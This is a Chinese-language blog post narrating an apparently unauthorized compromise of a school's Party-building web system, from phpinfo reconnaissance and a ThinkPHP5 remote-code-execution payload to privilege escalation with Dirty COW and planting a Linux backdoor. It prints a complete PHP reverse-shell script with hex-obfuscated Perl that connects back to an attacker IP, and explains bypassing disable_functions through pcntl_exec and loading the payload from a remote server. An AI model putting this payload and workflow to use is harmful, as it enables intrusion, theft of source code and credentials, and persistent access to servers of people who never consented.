從getshell到提權


從getshell到提權

一、起因

學校推出新的黨建系統,之前黨建系統還參與開發,后來因為一些原因沒有開發,主要想看看這屆工作室的學弟、學妹代碼水平,把源碼擼下來審計一下,工作室用git開發的,記着上一篇文章是通過Githack把源碼一把梭,結果這次再用Githack時擼不下來了,就有了下文了。
Alt text

二、信息搜集

通過御劍掃到phpinfo.php頁面。
得到網站根目錄:/www/wwwroot/xxx/xxx/public
允許訪問遠程url:allow_url_fopen On
disable_functions:passthru,exec,system,chroot,chgrp,chown,shell_exec,popen,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru
還掃到一個/admin.php文件,如下,發現是FastAdmin開發的
Alt text

三、RCE

通過查閱資料發現:FastAdmin – 基於ThinkPHP5和Bootstrap的極速后台開發框架,這就聯想到最近爆出的tp5的rce洞,直接找Payload直接打。
Alt text
讀取數據庫密碼,數據庫能外連,但是用戶不是root,不能udf提權這條提權的路就放棄了:
Alt text

四、反彈shell

因為禁用了好多執行命令的函數,導致大馬、菜刀的部分功能都不能使,看是否能繞過disable_functions執行命令,查閱資料發現pcntl_exec()函數沒禁用而且服務器支持這個函數:
Alt text
反彈shell的payload:

<?php 

/*******************************
 *查看phpinfo編譯參數--enable-pcntl
 *作者 Spider
 *nc -vvlp 443
********************************/
 
$ip = 'xx.xx.xx.xx';
$port = '443';
$file = '/tmp/bc.pl';
 
header("content-Type: text/html; charset=gb2312");
 
if(function_exists('pcntl_exec')) {
        $data = "\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x20\x2d\x77\x0d\x0a\x23\x0d\x0a".
                "\x0d\x0a\x75\x73\x65\x20\x73\x74\x72\x69\x63\x74\x3b\x20\x20\x20\x20\x0d\x0a\x75\x73\x65\x20".
                "\x53\x6f\x63\x6b\x65\x74\x3b\x0d\x0a\x75\x73\x65\x20\x49\x4f\x3a\x3a\x48\x61\x6e\x64\x6c\x65".
                "\x3b\x0d\x0a\x0d\x0a\x6d\x79\x20\x24\x72\x65\x6d\x6f\x74\x65\x5f\x69\x70\x20\x3d\x20\x27".$ip.
                "\x27\x3b\x0d\x0a\x6d\x79\x20\x24\x72\x65\x6d\x6f\x74\x65\x5f\x70\x6f\x72\x74\x20\x3d\x20\x27".$port.
                "\x27\x3b\x0d\x0a\x0d\x0a\x6d\x79\x20\x24\x70\x72\x6f\x74\x6f\x20\x3d\x20\x67\x65\x74\x70\x72".
                "\x6f\x74\x6f\x62\x79\x6e\x61\x6d\x65\x28\x22\x74\x63\x70\x22\x29\x3b\x0d\x0a\x6d\x79\x20\x24".
                "\x70\x61\x63\x6b\x5f\x61\x64\x64\x72\x20\x3d\x20\x73\x6f\x63\x6b\x61\x64\x64\x72\x5f\x69\x6e".
                "\x28\x24\x72\x65\x6d\x6f\x74\x65\x5f\x70\x6f\x72\x74\x2c\x20\x69\x6e\x65\x74\x5f\x61\x74\x6f".
                "\x6e\x28\x24\x72\x65\x6d\x6f\x74\x65\x5f\x69\x70\x29\x29\x3b\x0d\x0a\x6d\x79\x20\x24\x73\x68".
                "\x65\x6c\x6c\x20\x3d\x20\x27\x2f\x62\x69\x6e\x2f\x73\x68\x20\x2d\x69\x27\x3b\x0d\x0a\x73\x6f".
                "\x63\x6b\x65\x74\x28\x53\x4f\x43\x4b\x2c\x20\x41\x46\x5f\x49\x4e\x45\x54\x2c\x20\x53\x4f\x43".
                "\x4b\x5f\x53\x54\x52\x45\x41\x4d\x2c\x20\x24\x70\x72\x6f\x74\x6f\x29\x3b\x0d\x0a\x53\x54\x44".
                "\x4f\x55\x54\x2d\x3e\x61\x75\x74\x6f\x66\x6c\x75\x73\x68\x28\x31\x29\x3b\x0d\x0a\x53\x4f\x43".
                "\x4b\x2d\x3e\x61\x75\x74\x6f\x66\x6c\x75\x73\x68\x28\x31\x29\x3b\x0d\x0a\x63\x6f\x6e\x6e\x65".
                "\x63\x74\x28\x53\x4f\x43\x4b\x2c\x24\x70\x61\x63\x6b\x5f\x61\x64\x64\x72\x29\x20\x6f\x72\x20".
                "\x64\x69\x65\x20\x22\x63\x61\x6e\x20\x6e\x6f\x74\x20\x63\x6f\x6e\x6e\x65\x63\x74\x3a\x24\x21".
                "\x22\x3b\x0d\x0a\x6f\x70\x65\x6e\x20\x53\x54\x44\x49\x4e\x2c\x20\x22\x3c\x26\x53\x4f\x43\x4b".
                "\x22\x3b\x0d\x0a\x6f\x70\x65\x6e\x20\x53\x54\x44\x4f\x55\x54\x2c\x20\x22\x3e\x26\x53\x4f\x43".
                "\x4b\x22\x3b\x0d\x0a\x6f\x70\x65\x6e\x20\x53\x54\x44\x45\x52\x52\x2c\x20\x22\x3e\x26\x53\x4f".
                "\x43\x4b\x22\x3b\x0d\x0a\x73\x79\x73\x74\x65\x6d\x28\x24\x73\x68\x65\x6c\x6c\x29\x3b\x0d\x0a".
                "\x63\x6c\x6f\x73\x65\x20\x53\x4f\x43\x4b\x3b\x0d\x0a\x65\x78\x69\x74\x20\x30\x3b\x0a";
        $fp = fopen($file,'w');
        $key = fputs($fp,$data);
        fclose($fp);
        if(!$key) exit('寫入'.$file.'失敗');
        chmod($file,0777);
        pcntl_exec($file);
        unlink($file);
} else {
        echo '不支持pcntl擴展';
}
?>

將反彈shell的payload寫入服務器上時,通過瀏覽器上傳這么長的代碼就會上傳內容不全,上面提到allow_url_fopen On開啟,可以用file_get_contents()函數訪問遠程代碼,將payload上傳到我們服務器上,通過如下代碼寫入服務器中。
Alt text
訪問a.php,本地監聽443端口得到shell
Alt text
直接把源碼打包擼下來。
Alt text

五、提權

a.弱口令

彈回來的shell權限是www,查看端口:
Alt text
發現9999端口開着liunx寶塔面板,直接試試默認口令、數據庫的密碼都登陸不進去,查了些寶塔面板提權也沒找到好的案例,所以這條路放棄了。

b.劫持PATH

利用suid提權,發現一個ksu命令,尷尬的是分析好久這個命令,並沒有向下面文章寫的setuid(0)提權的代碼,提權失敗:
Alt text
參考這篇文章

c.SUID

情況都試了,也失敗了。
參考這篇文章

d.fakesu

尷尬的發現,www用戶是nologin用戶,不存在自己的家目錄,更沒有.bash_profile這個文件,就不能劫持命令了,這條路也失敗了。其他也找了第三方應用比如gitlab,pgsql什么的,都試了試沒成功。
Alt text
參考這篇文章

e.臟牛

看了下內核,是centos 7的。本地裝了一個和它版本一樣的系統,本地復現成功,將編譯好的代碼傳到服務器上,最終提權成功。
Alt text

f.linux后門

Alt text
代碼擼下來,有空對代碼做下審計再發文章。
最后希望大佬們能討論下,Linux提權還有什么好的方法嗎,集思廣益?


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM